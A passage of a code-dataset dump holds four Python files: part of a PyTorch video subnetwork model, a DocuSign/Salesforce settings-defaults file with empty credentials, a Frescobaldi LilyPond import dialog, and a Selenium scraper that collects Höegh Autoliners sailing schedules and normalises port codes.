except RuntimeError:\n            pdb.set_trace()\n            print('Error')\n        h = self.dropout(final_states[0].squeeze())\n        y_1 = self.linear_1(h)\n        return y_1\n\n\nclass VideoSubNet(nn.Module):\n    def __init__(self, in_size, hidden_size, out_size, num_layers=1, dropout=0.2, bidirectional=False):\n        '''\n        0409 dingning add attention in to VideoSubNet \n        2048->128\n        '''\n        super(VideoSubNet, self).__init__()\n        self.rnn1 = nn.LSTM(in_size, hidden_size, num_layers=num_layers, dropout=dropout, bidirectional=bidirectional, batch_first=True)\n        self.rnn2 = nn.LSTM(64, 64, num_layers=1, dropout=dropout, bidirectional=bidirectional, batch_first=True)\n        self.dropout1 = nn.Dropout(0.7)\n        self.dropout2 = nn.Dropout(dropout)\n        self.dropout3 = nn.Dropout(dropout)\n        # self.linear1 = nn.Linear(709, 64)\n        self.linear1 = nn.Linear(2048,64)\n        self.linear2 = nn.Linear(64,64)\n        self.linear3 = nn.Linear(hidden_size, out_size)\n\n    def forward(self, x, lengths):\n        '''\n        x: (batch_size, sequence_len, in_size)\n        '''\n        lengths = lengths.cpu()\n        packed_sequence = pack_padded_sequence(x, lengths, batch_first=True, enforce_sorted=False)\n        try:\n            _, final_states = self.rnn1(packed_sequence)\n        except RuntimeError:\n            pdb.set_trace()\n            print('Error')\n        #  0409 add attention\n        x1 = self.linear1(x)\n        attention = F.softmax(self.linear2(self.dropout1(F.relu(x1))),dim=-1)\n        # attended:(batch_size,sequence_len,64)\n        attended = attention * x1\n        h0 = final_states[0].squeeze()\n        # h1:(batch_size,1,64)\n        h1 = torch.unsqueeze(h0,1)\n        # h2:(batch_size,sequence_len+1,64)\n        h2 = torch.cat((h1,attended),1)\n        # this line need debug add 1 \n        lengths1 = lengths + 1\n        packed_sequence1 = pack_padded_sequence(h2, lengths1, batch_first=True, enforce_sorted=False)\n        _, final_states1 = self.rnn2(packed_sequence1)\n        h3 = self.dropout2(final_states1[0].squeeze())\n        \n        h4 = self.dropout2(final_states[0].squeeze())\n        h5 = h3 + h4\n        # h:(batch_size,64)\n        y_1 = self.linear3(h5)\n        return y_1\n","repo_name":"DingNing123/MAG_Bert_ULGM","sub_path":"models/multiTask/SELF_MM.py","file_name":"SELF_MM.py","file_ext":"py","file_size_in_byte":12740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"25676048142","text":"# The default cache values\n#\n# Use this file to store information that needs to be available independent\n# of a particular user's session.\n# This is especially needed for credentials for \"Service Integration\" that just\n# run in the background.\n\n# Set encoding to utf8. See http:#stackoverflow.com/a/21190382/64904 \nimport sys; reload(sys); sys.setdefaultencoding('utf8')\n\n\n# Global constants\ndefaults = {\n    'ds_account_id': None, # can be looked up if not provided\n    'ds_service_account_email': None,\n    'ds_service_account_pw': None,\n    'ds_service_client_id': None, # integration key\n    'sfdc_username': None,\n    'sfdc_pw': None,\n    'sfdc_security_token': None,\n    # For the following, see https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_user.htm \n    'sfdc_user_type': 'Partner', # or Power Partner for partners\n    'sfdc_profile_id': None, # Get the ID (from the URL) for the new members' profile. Eg \"Partner Community Login User\"\n                             # See https://github.com/docusign/sfdc-recipe-auto-provisioning#settings\n    'sfdc_time_zone_sid_key': 'America/Los_Angeles',\n    'sfdc_locale_sid_key': 'en_US',\n    'sfdc_email_encoding_key': 'ISO-8859-1', \n    'sfdc_language_locale_key': 'en_US',\n    'sfdc_community_url': None,\n    'sfdc_forgot_password': 'https://login.salesforce.com/secur/forgotpassword.jsp',\n    'sfdc_user_name_domain': 'ex.com', # the \"domain\" that should be used to create user names for your community\n                             # Should be related to your company/domain but not the same. \n                             # Eg ex.com instead of the real example.com\n    \n    # mailgun settings start with mg_ See www.mailgun.com\n    'mg_domain': None, # eg mg.foo.com\n    'mg_api_key': None,\n    'template_name': \"World Wide Co Partner Agreement\" # name of your PowerForm's template\n}\n\n\n\n# Note\n# For the user object, fields TimeZoneSidKey, LocaleSidKey, ProfileId,\n# EmailEncodingKey, and LanguageLocaleKey are all required. But how\n# to determine good default values? One was is to create a user,\n# then see what those fields are set to for the existing user.\n# Use the Python interpreter:\n# from simple_salesforce import Salesforce\n# from app.lib_master_python import ds_cache\n# cache = ds_cache.get()\n# sf = Salesforce(instance = 'samdev-dev-ed.my.salesforce.com', session_id='')\n# sf = Salesforce(username = cache['sfdc_username'], password = cache['sfdc_pw'], security_token = cache['sfdc_security_token'])\n# sf.User.get('00561000001veBp') # The existing User record ID\n# Then use https://pythoniter.appspot.com/ to pretty print the resulting Python dict\n\n\n########################################################################\n########################################################################\n########################################################################\n\ndef get():\n    \"\"\" Get the default values for the cache\n    \n        Returns: a dictionary of the cache\n    \"\"\"\n    return defaults\n\n########################################################################\n########################################################################\n########################################################################\n\n\n## FIN ##\n\n","repo_name":"cnxtech/sfdc-recipe-auto-provisioning","sub_path":"app/lib_master_python/ds_cache_defaults.py","file_name":"ds_cache_defaults.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"36001701909","text":"import os\nimport platform\n\nfrom PyQt5.QtCore import Qt\n\nfrom PyQt5.QtWidgets import (QCheckBox, QDialog, QDialogButtonBox,\n    QGridLayout, QLabel, QTabWidget, QTextEdit, QWidget)\n\nimport app\nimport lilychooser\nimport userguide\nimport util\nimport widgets\nimport job\n\n\nclass ToLyDialog(QDialog):\n    \"\"\"Dialog base class for all file import jobs.\n\n    Basically the whole dialog is identical for all file types, the only\n    part of the dialog that is specific is the widget with *input* options.\n    These are created in a subclass's __init__ function and added to the\n    self.impChecks list. Only then super() is called.\n    \"\"\"\n\n    def __init__(self,\n                 parent=None,\n                 job_class=job.Job,\n                 imp_prgm='',\n                 input=None,\n                 userg=''):\n        super().__init__(parent)\n        self._info = None\n        self._imp_prgm = imp_prgm\n        self._userg = userg\n        self._input = input\n        self._path = None\n        self._job_class = job_class\n        self._job = None\n\n        self.addAction(parent.actionCollection.help_whatsthis)\n        self.setWindowModality(Qt.WindowModal)\n        mainLayout = QGridLayout()\n        self.setLayout(mainLayout)\n\n        tabs = QTabWidget()\n\n        import_tab = QWidget()\n        post_tab = QWidget()\n\n        itabLayout = QGridLayout(import_tab)\n        ptabLayout = QGridLayout(post_tab)\n\n        tabs.addTab(import_tab, self._imp_prgm)\n        tabs.addTab(post_tab, _(\"After Import\"))\n\n        self.formatCheck = QCheckBox()\n        self.trimDurCheck = QCheckBox()\n        self.removeScalesCheck = QCheckBox()\n        self.runEngraverCheck = QCheckBox()\n\n        self.postChecks = [self.formatCheck,\n                           self.trimDurCheck,\n                           self.removeScalesCheck,\n                           self.runEngraverCheck]\n\n        self.versionLabel = QLabel()\n        self.lilyChooser = lilychooser.LilyChooser(toolcommand=self._imp_prgm)\n\n        self.formatCheck.setObjectName(\"reformat\")\n        self.trimDurCheck.setObjectName(\"trim-durations\")\n        self.removeScalesCheck.setObjectName(\"remove-scaling\")\n        self.runEngraverCheck.setObjectName(\"engrave-directly\")\n\n        self.buttons = QDialogButtonBox(\n            QDialogButtonBox.Ok | QDialogButtonBox.Cancel)\n        userguide.addButton(self.buttons, self._userg)\n\n        row = 0\n        for r, w in enumerate(self.impChecks):\n            row += r\n            itabLayout.addWidget(w, row, 0, 1, 2)\n        row += 1\n        for r, w in enumerate(self.impExtra):\n            row += r\n            itabLayout.addWidget(w, row, 0, 1, 2)\n\n        itabLayout.addWidget(widgets.Separator(), row + 1, 0, 1, 2)\n        itabLayout.addWidget(self.versionLabel, row + 2, 0, 1, 0)\n        itabLayout.addWidget(self.lilyChooser, row + 3, 0, 1, 2)\n        itabLayout.setRowStretch(row + 4, 10)\n\n        ptabLayout.addWidget(self.formatCheck, 0, 0, 1, 2)\n        ptabLayout.addWidget(self.trimDurCheck, 1, 0, 1, 2)\n        ptabLayout.addWidget(self.removeScalesCheck, 2, 0, 1, 2)\n        ptabLayout.addWidget(self.runEngraverCheck, 3, 0, 1, 2)\n        ptabLayout.setRowStretch(4, 6)\n\n        mainLayout.addWidget(tabs, 0, 0, 6, 2)\n        mainLayout.addWidget(self.buttons, 7, 0, 1, 2)\n\n        self.buttons.accepted.connect(self.about_to_accept)\n        self.buttons.rejected.connect(self.reject)\n\n        self.lilyChooser.currentIndexChanged.connect(self.slot_lilypond_version_changed)\n        self.slot_lilypond_version_changed()\n\n    def translateUI(self):\n        self.versionLabel.setText(_(\"LilyPond version:\"))\n        self.formatCheck.setText(_(\"Reformat source\"))\n        self.trimDurCheck.setText(_(\"Trim durations (Make implicit per line)\"))\n        self.removeScalesCheck.setText(_(\"Remove fraction duration scaling\"))\n        self.runEngraverCheck.setText(_(\"Engrave directly\"))\n\n    def about_to_accept(self):\n        \"\"\"Configure the job and close the dialog.\"\"\"\n        self.configure_job()\n        self.accept()\n\n    def configure_job(self):\n        \"\"\"Create and configure the job to be run.\n        Has to be completed by the subclasses.\"\"\"\n        output = os.path.splitext(\n            os.path.join(util.tempdir(), os.path.basename(self._input))\n            )[0] + '.ly'\n        self._job = j = self._job_class(\n            command=self._info.toolcommand(self._imp_prgm),\n            input=self._input,\n            output=f'--output={output}',\n            directory=os.path.dirname(self._input),\n            encoding='utf-8')\n        j._output_file = output\n        if platform.system() == \"Darwin\":\n            import macos\n            if macos.inside_app_bundle():\n                j.environment['PYTHONPATH'] = None\n                j.environment['PYTHONHOME'] = None\n\n    def get_post_settings(self):\n        \"\"\"Returns settings in the post import tab.\"\"\"\n        post = []\n        for p in self.postChecks:\n            post.append(p.isChecked())\n        return post\n\n    def job(self):\n        \"\"\"Return the current job.\"\"\"\n        if not self._job:\n            self.configure_job()\n        return self._job\n\n    def set_input(self, path):\n        \"\"\"Set the full path to the input document.\"\"\"\n        self._input = path\n\n    def slot_lilypond_version_changed(self):\n        self._info = self.lilyChooser.lilyPondInfo()\n\n    def loadSettings(self):\n        \"\"\"Get users previous settings.\"\"\"\n        post_default = [True, False, False, True]\n        for i, d in zip(self.impChecks, self.imp_default):\n            i.setChecked(self.settings.value(i.objectName(), d, bool))\n        for p, f in zip(self.postChecks, post_default):\n            p.setChecked(self.settings.value(p.objectName(), f, bool))\n\n    def saveSettings(self):\n        \"\"\"Save users last settings.\"\"\"\n        for i in self.impChecks:\n            self.settings.setValue(i.objectName(), i.isChecked())\n        for p in self.postChecks:\n            self.settings.setValue(p.objectName(), p.isChecked())\n","repo_name":"frescobaldi/frescobaldi","sub_path":"frescobaldi_app/file_import/toly_dialog.py","file_name":"toly_dialog.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","stars":673,"dataset":"github-code","pt":"38"}
{"seq_id":"6833399828","text":"import pandas as pd\nfrom selenium import webdriver\nimport os\nfrom time import sleep\nfrom bs4 import BeautifulSoup as BS\nimport numpy as np\nfrom collections import OrderedDict\nimport pandas as pd\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.select import Select\nfrom datetime import date, timedelta\nfrom selenium.webdriver import ActionChains\nimport time\nfrom datetime import datetime, timedelta,date\n\n#FOR HEADLESS BROWSER\nfrom selenium.webdriver.chrome.options import Options\n\nstart_time = time.time()\n\nchrome_options = Options()\nchrome_options.add_argument('--headless')\nchrome_options.add_argument('--no-sandbox')\nchrome_options.add_argument('--disable-dev-shm-usage')\n# driver = webdriver.Chrome('/usr/bin/chromedriver',chrome_options=chrome_options)\nimport os\nimport re\n# from send_mail import send_email\n\n\n\ndef CurrentDate_upto(x):\n\tif len(x)>2:\n\t\tCurrentDate = days_before = (date.today()-timedelta(days=60)).strftime('%d/%m/%Y')\n\t\tdate1 = CurrentDate\n\t\tdate2 = x\n\t\tnewdate1 = time.strptime(date1, \"%d/%m/%Y\")\n\t\tnewdate2 = time.strptime(date2, \"%d/%m/%Y\")\n\t\tif newdate1 > newdate2:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\treturn False\n \ndef removeDuplicate(x):\n\tprint(x)\n\tif type(x)==np.float:\n\t\treturn ''\n\telse:\n\t\tx=re.sub('[^A-Za-z]+',' ', x)\n\t\tx=x.split()\n\t\treturn x[0]\n\ndef OnlyNumbersRampHeight_RampCapacity(x):\n\tx=re.sub('[^0-9,. ]+',' ', str(x))\n\treturn x\n\n\t\nCalendra_dict={'jan':1,'feb':2,\"mar\":3,\"apr\":4,\"may\":5,\"jun\":6,\"jul\":7,\"aug\":8,\"sep\":9,\"oct\":10,\"nov\":11,\"dec\":12}\n\ndef Date_new(x):\n\tif len(x)>3:\n\t\tx=x.split('-')\n\t\t# print(x)\n\t\tif len(x)==3:\n\t\t\t# print(str(Calendra_dict[x[1][0:3].strip().lower()]))\n\t\t\treturn x[0]+'/'+str(Calendra_dict[x[1][0:3].strip().lower()])+'/'+x[-1]\n\t\telse:\n\t\t\treturn ''\t\n\telse:\n\t\treturn ''\n\ndef port_code_substring(x):\n\tx=re.sub('[^A-Za-z(), ]+',' ', x)\n\t\n\tif len(x.split(','))>1:\n\t\tx=x.split(',')[0].strip()\n\t\treturn x.lower()\n\t\t\n\t\t#now remove white space and comma\n\t\n\telif len(x.split(' '))>1:\n\t\tx=x.split(' ')[0].strip()\n\n\t\treturn x.lower()\n\t\t\n\t\n\telif '(' in x:\n\t\tx=re.sub(r'\\([^)]*\\)', '', x)\n\t\treturn x.lower()\n\telif len(x)>3:\n\t\treturn x.lower()\n\telse:\n\t\treturn \"NA\"\n\n\n\n\ntry:\n\turl = \"https://www.hoeghautoliners.com/sailing-schedule#?schedule=vessel\"\n\n\n\t#driver = webdriver.Chrome(\"C:/Users/rohit/Downloads/chromedriver_win32/chromedriver.exe\")\n\t#driver = webdriver.Firefox()\n\t# initialize driver object and change the <path_to_chrome_driver> depending on your directory where your chromedriver should be\n\tdriver = webdriver.Chrome('/usr/bin/chromedriver',chrome_options=chrome_options)\n\n\t#for local running on windows uncomment above line if using linux and commen below line of code\n\t# driver = webdriver.Chrome('C:\\\\Windows\\\\chromedriver.exe',chrome_options=chrome_options)\n\t#driver = webdriver.Chrome(header=True)\n\n\tdriver.get(url)    # Opening the submission url\n\n\tdata_dict={}\n\n\tdata_dict['Vessel Name']=[]\n\tdata_dict['Voyage Number']=[]\n\tdata_dict['Port Name']=[]\n\tdata_dict['Carrier']=[]\n\tdata_dict['Date of Arrival (ETA)']=[]\n\tdata_dict['Date of Departure (ETD)']=[]\n\tdata_dict['Route Code']=[]\n\tdata_dict['Vessel Capacity (in MT)']=[]\n\tdata_dict['Vessel Ramp Height (in meters)']=[]\n\n\n\n\tsleep(3)\n\t\n\tel = driver.find_element_by_xpath('//*[@id=\"main\"]/div/article/div/section/div/div[3]/div[3]/div[1]/div[3]/div[1]/div[1]/select')\n\tfor option in el.find_elements_by_tag_name('option')[3:]:\n\t\toption.click() # select() in earlier versions of webdriver\n\t\tprint(option.text)\n\t\thtml_source = driver.page_source\n\n\t\tdf = pd.read_html(html_source)\n\t\tif len(df)>7:\n\t\t\tdf=df[7]\n\t\t\tvassel_name=[]\n\t\t\tVoyage_No=[]\n\t\t\t\n\t\t\tfor i in range(1,df.shape[1]):\n\t\t\t\tv_name=df.columns[i].split(\"/\")[0]\n\t\t\t\tV_No=df.columns[i].split(\"/\")[1].strip().replace(\"ETAETD\", \"\")\n\t\t\t\tvassel_name.append(v_name)\n\t\t\t\tVoyage_No.append(V_No)  \n\t\t\t\t\n\t\t\t\t\n\t\t\tfor index,row in df.iterrows():\n\t\t\t\tport_name=df.iloc[index,0]\n\t\t\t\tlist_data=list(row)[1:]\n\t\t\t\tfor j in range(0,len(list_data)):\n\t\t\t\t\tif len(list_data[j])>2:\n\t\t\t\t\t\tETA=list_data[j].split(\"ETD\")[0].replace(\"ETA\",\"\")\n\t\t\t\t\t\tETD=list_data[j].split(\"ETD\")[1]\n\t\t\t\t\t\tDateETA=ETA.split(' ')\n\t\t\t\t\t\tDateETA=DateETA[5]+'-'+DateETA[1]+'-'+DateETA[3]\n\t\t\t\t\t\tDateETD=ETD.split(' ')\n\t\t\t\t\t\tDateETD=DateETD[5]+'-'+DateETD[1]+'-'+DateETD[3]\n\t\t\t\t\t\tdata_dict['Carrier'].append(\"HOG\")\n\t\t\t\t\t\tdata_dict['Vessel Name'].append(vassel_name[j]) \n\t\t\t\t\t\tdata_dict['Voyage Number'].append(Voyage_No[j])\n\t\t\t\t\t\tdata_dict['Port Name'].append(port_name)\n\t\t\t\t\t\tdata_dict['Date of Arrival (ETA)'].append(DateETA)\n\t\t\t\t\t\tdata_dict['Date of Departure (ETD)'].append(DateETD)\n\t\t\t\t\t\tdata_dict['Route Code'].append(\"NA\")\n\t\t\t\t\t\tdata_dict['Vessel Capacity (in MT)'].append(\"NA\")\n\t\t\t\t\t\tdata_dict['Vessel Ramp Height (in meters)'].append(\"NA\")\n\t\telse:\n\t\t\t  pass\n\t\tsleep(4)\n\t\t#break\n\t\t\n\t\t\n\tMasterDf=pd.DataFrame(data_dict)\n\n\t# MasterDf['Port Name']=MasterDf['Port Name'].apply(lambda x:removeDuplicate(x))\n\n\tport_df=pd.read_csv(\"port.csv\")\n\n\tport_list=[]\n\tfor index,row in MasterDf.iterrows():\n\t\tport_name=port_code_substring(row['Port Name']) \n\t\tif port_df[port_df['portName'].str.contains(port_name, na=False, regex=True,flags=re.IGNORECASE)].shape[0]>0:\n\t\t\tportCode=port_df[port_df['portName'].str.contains(port_name, na=False, regex=True,flags=re.IGNORECASE)]['CODE'].values\n\t\t\t# print('len=',len(port_name),port_name,portCode[0])\n\t\t\tport_list.append(portCode[0])\n\t\telse:\n\t\t\t# print('len=',len(port_name),'NO-----------------')\n\t\t\tport_list.append(\"NA\")\n\n\n\tMasterDf['port_code']=np.array(port_list)\n\n\tMasterDf=MasterDf.replace(\"NA\",'')\n\tMasterDf['Date of Arrival (ETA)']=MasterDf['Date of Arrival (ETA)'].apply(lambda x:Date_new(x))\n\tMasterDf['Date of Departure (ETD)']=MasterDf['Date of Departure (ETD)'].apply(lambda x:Date_new(x))\n\tMasterDf=MasterDf[['Carrier','Route Code','Vessel Name','Vessel Capacity (in MT)','Vessel Ramp Height (in meters)','Voyage Number','Port Name','port_code','Date of Arrival (ETA)','Date of Departure (ETD)']]\n\tprint(\"total Data HOG=\",MasterDf.shape)\n\tMasterDf.reset_index(drop=True, inplace=True)    \n\n\tDelDateCol1=MasterDf['Date of Arrival (ETA)'].apply(lambda x:CurrentDate_upto(x))\n\tDelDateColIndex1=[x for x in range(0,len(DelDateCol1)) if DelDateCol1[x]]\n\n\tDelDateCol2=MasterDf['Date of Departure (ETD)'].apply(lambda x:CurrentDate_upto(x))\n\tDelDateColIndex2=[y for y in range(0,len(DelDateCol2)) if DelDateCol2[y]]\n\n\tDelDateColIndex=list(set(DelDateColIndex1+DelDateColIndex2))\n\n\tMasterDf.drop(DelDateColIndex , inplace=True)\n\n\tfor index,row in MasterDf.iterrows():\n\t\tif type(row['Port Name'])==type(np.nan):\n\t\t\tMasterDf['Port Name'][index]=\"\"\n\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\n\t\t\t\n\t\telse:\n\t\t\t\n\t\t\t\n\t\t\tif \"baltimore\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"baltimore\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US BAL\"\n\t\t\t\n\t\t\telif \"'aqaba\" in row['Port Name'].lower() or \"aqaba\" in row['Port Name'].lower() :\n\t\t\t\t MasterDf['Port Name'][index]=\"Aqaba\".title()\n\t\t\t\t MasterDf['port_code'][index]=\"JO AQJ\"\n\t\t\t\t \n\t\t\telif \"brunswick\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"brunswick\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\t\n\t\t\telif \"borusan\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"borusan\".title()\n\t\t\t\n\t\t\telif \"cartagena\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"cartagena\".title()\n\t\t\t\n\t\t\telif \"charleston\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"charleston\".title()\n\t\t\t\n\t\t\telif \"freeport\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"freeport\".title()\n\t\t\t\n\t\t\telif \"galveston\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"galveston\".title()\n\t\t\t\n\t\t\telif \"hamad\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"hamad\".title()\n\n\t\t\telif \"jeddah\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"jeddah\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"SA JED\"\n\t\t\t\n\t\t\telif \"kuwait\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"kuwait\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"KW KWI\"\n\t\t\t\t\n\t\t\telif \"masan\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"masan\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"KR MAS\"\n\t\t\t\n\t\t\telif \"manzanillo\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"manzanillo\".title()\n\t\t\t\n\t\t\t\n\t\t\telif \"newark\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"newark\".title()\n\t\t\t\n\n\t\t\telif \"new york\" in row['Port Name'].lower() or \"newyork\" in row['Port Name'].lower() :\n\t\t\t\tMasterDf['Port Name'][index]=\"new york\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US NYC\"\n\t\t\t\t\t\n\t\t\t\n\t\t\telif \"newcastle\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"newcastle\".title()\n\t\t\t\n\t\t\telif \"paranagua\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"paranagua\".title()\n\t\t\t\n\t\t\telif \"philadelphia\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"philadelphia\".title()\n\t\t\t\n\t\t\telif \"puerto caldera\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"puerto caldera\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"CL PMC\"\n\t\t\t\n\t\t\telif \"puerto cortes\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"puerto cortes\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"HN PCR\"\n\t\t\t\n\t\t\telif \"puerto limon\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"puerto limon\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\n\t\t\telif \"san lorenzo\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"san lorenzo\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"HN SLO\"\n\t\t\t\t\n\t\t\telif \"santo domingo\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"santo domingo\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"DO SDQ\"\n\t\t\t\t\n\t\t\telif \"santos\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"santos\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"BR SSZ\"\n\n\t\t\telif \"shanghai\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"shanghai\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"CN SHA\"\n\t\t\t\n\n\t\t\telif \"tacoma\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"tacoma\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US ACI\"\n\t\t\t\n\n\t\t\telif \"wilmington\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"wilmington\".title()\n\t\t\t\n\t\t\telif \"altamira\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"altamira\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MX ATM\"\n\t\t\t\t\n\t\t\telif \"aratu\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"aratu\".title()\n\t\t\t\n\t\t\telif \"zarate\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"zarate\".title()\n\t\t\t\n\t\t\telif \"altamira\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"altamira\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MX ATM\"\n\t\t\t\t\n\t\t\telif \"new westminster\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"new westminster\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\" \n\t  \n\t\t\telif \"abu dhabi\" in row['Port Name'].lower() or \"abu\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"abu dhabi\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"ad dammam\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"ad dammam\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"     \n\t\t\t\t\n\t\t\telif \"bahrain\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"bahrain\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"BH KBS\"\n\n\t\t\t\t\n\t\t\telif \"corpus\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"corpus\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US CRP\"\n\n\t\t\telif \"eca ent.point usec jxv/buw/svn\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"eca ent.point usec jxv/buw/svn\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\t\n\t\t\telif \"el iskandariya (alexandria)\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"el iskandariya (alexandria)\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\t\n\t\t\telif \"fort de france\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"fort de france\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MQ FDF\"\n\t\t\t\t\n\t\t\telif \"hai phong\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"hai phong\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"\n\t\t\t\t\n\t\t\telif \"ho chi minh\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"ho chi minh\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"VN SGN\"\n\t\t\t\t\n\t\t\telif \"honolulu\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"honolulu\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US HNL\"\n\t\t\t\t\n\t\t\telif \"houston\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"houston\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US HOU\"            \n\t\t\t\t\n\t\t\telif \"huangpu\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"huangpu\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"              \n\t\t\t\t\n\t\t\telif \"jakarta\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"jakarta\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"ID TPP\"   \n\n\t\t\telif \"jebel\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"jebel\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"AE JEA\"   \n\n\t\t\telif \"keelung\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"keelung\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"TW KEL\"   \n\n\t\t\telif \"kingston\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"kingston\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"JM KIN\"   \n\n\t\t\telif \"koper\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"koper\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"SI KOP\"   \n\n\t\t\telif \"lehavre\" in row['Port Name'].lower().strip() or \"le havre\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"le havre\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"FR LEH\"   \n\t\t\t\t\n\t\t\telif \"lian yun gang\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"lian yun gang\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"livorno\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"livorno\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"IT LIV\"   \n\n\t\t\telif \"long beach\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"long beach\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US LGB\"   \n\n\t\t\telif \"mobile\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"mobile\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US MOB\"   